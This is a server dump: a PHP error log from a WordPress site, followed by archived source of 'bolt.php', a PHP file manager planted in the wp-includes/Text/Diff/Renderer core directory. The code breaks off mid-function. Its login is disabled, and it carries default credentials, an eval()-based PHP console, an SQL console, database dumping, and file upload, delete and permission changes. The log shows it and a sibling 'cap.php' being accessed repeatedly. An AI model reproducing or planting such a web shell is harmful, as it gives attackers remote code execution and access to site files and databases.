[25-Jun-2026 18:50:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:23 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
                                                                                                                                                                                                                                                                                              bolt.php.tar                                                                                        0000644                 00000236000 15217301621 0007001 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
